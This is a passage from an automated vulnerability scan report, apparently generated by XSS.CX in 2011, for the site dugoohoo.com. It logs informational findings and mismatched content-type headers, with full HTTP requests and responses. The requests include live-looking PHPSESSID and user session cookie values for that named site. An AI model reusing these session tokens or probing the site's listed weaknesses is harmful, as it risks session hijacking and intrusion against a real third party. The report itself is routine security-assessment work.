Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:32 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Last-Modified: Mon, 07 Mar 2011 11:11:24 GMT
ETag: "1f2190d-d92-49de28e650f00"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 3474
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
<html>
<head>
<title>About Dugoohoo</title>
<link href="css/landing.css" rel="stylesheet" type="text/cs
...[SNIP]...

7.2. http://dugoohoo.com/getImage.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /getImage.php

Request

GET /getImage.php?url=cinomedia.com HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; PHPSESSID=169ef446df34cf2b2c58c5be033bc8bf; SearchString=username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26action%3Darticle_article; hl=en; s123user=356b7cc04c145e517bdf9bff7e75d801.1314026091

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:14:54 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 1984
Content-Type: text/html

......JFIF.....`.`.....C...............
..
       
...............'!..%..."."%()+,+. /3/*2'*+*...C....
   
....*...**************************************************......Z.x.."..............................
...[SNIP]...

7.3. http://dugoohoo.com/landingSettings.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://dugoohoo.com
Path:   /landingSettings.php

Request

GET /landingSettings.php?rand=1314026070741 HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en; __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:58 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 953
Content-Type: text/html

[{"id":"box1","cl":"c0","titl":"Search All","contentUrl":"getAjaxLanding.php?action=metasearch_web&actions[0][action]=yahoo_web&actions[0][name]=Search!&actions[0][icon]=search","state":"open"},{"id":
...[SNIP]...

8. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


8.1. http://dugoohoo.com/getImage.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://dugoohoo.com
Path:   /getImage.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain a JPEG image.

Request

GET /getImage.php?url=cinomedia.com HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/search/xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo; PHPSESSID=169ef446df34cf2b2c58c5be033bc8bf; SearchString=username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26username%3D%26action%3Dsearch_article%26username%3D%26undefined%3Dundefined%26item%3Dundefined%26namedItem%3Dundefined%26action%3Darticle_article; hl=en; s123user=356b7cc04c145e517bdf9bff7e75d801.1314026091

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:14:54 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 1984
Content-Type: text/html

......JFIF.....`.`.....C...............
..
       
...............'!..%..."."%()+,+. /3/*2'*+*...C....
   
....*...**************************************************......Z.x.."..............................
...[SNIP]...

8.2. http://dugoohoo.com/images/dugoohoologo2.jpg  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://dugoohoo.com
Path:   /images/dugoohoologo2.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.

Request

GET /images/dugoohoologo2.jpg HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/about.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:33 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Last-Modified: Wed, 27 Oct 2010 10:45:56 GMT
ETag: "1fb932b-b04c-49396ee1b8100"
Accept-Ranges: bytes
Content-Length: 45132
Content-Type: image/jpeg

.PNG
.
...IHDR.......S.......l)....tEXtSoftware.Adobe ImageReadyq.e<....IDATx..].|T.......n6.'..B..    ((H.TPQ..gC...........T.J.*...$..........(>.G"...o.....;3g...s..0. R"%R"%R"..\.H.DJ.DJ.DJ..FJ.
...[SNIP]...

8.3. http://dugoohoo.com/images/logo.jpg  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://dugoohoo.com
Path:   /images/logo.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a PNG image.

Request

GET /images/logo.jpg HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/about.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:36 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
Last-Modified: Thu, 20 May 2010 03:24:15 GMT
ETag: "1fb9316-382c-486fe1bea55c0"
Accept-Ranges: bytes
Content-Length: 14380
Content-Type: image/jpeg

.PNG
.
...IHDR.......x......DP....    pHYs...............
MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@...
V....HU...
H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH....
...[SNIP]...

8.4. http://dugoohoo.com/landingSettings.php  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://dugoohoo.com
Path:   /landingSettings.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /landingSettings.php?rand=1314026070741 HTTP/1.1
Host: dugoohoo.com
Proxy-Connection: keep-alive
Referer: http://dugoohoo.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hl=en; __utma=1.1099433017.1314026069.1314026069.1314026069.1; __utmb=1.1.10.1314026069; __utmc=1; __utmz=1.1314026069.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=dugoohoo

Response

HTTP/1.1 200 OK
Date: Mon, 22 Aug 2011 15:13:58 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 953
Content-Type: text/html

[{"id":"box1","cl":"c0","titl":"Search All","contentUrl":"getAjaxLanding.php?action=metasearch_web&actions[0][action]=yahoo_web&actions[0][name]=Search!&actions[0][icon]=search","state":"open"},{"id":
...[SNIP]...

Report generated by XSS.CX at Mon Aug 22 09:20:43 GMT-06:00 2011.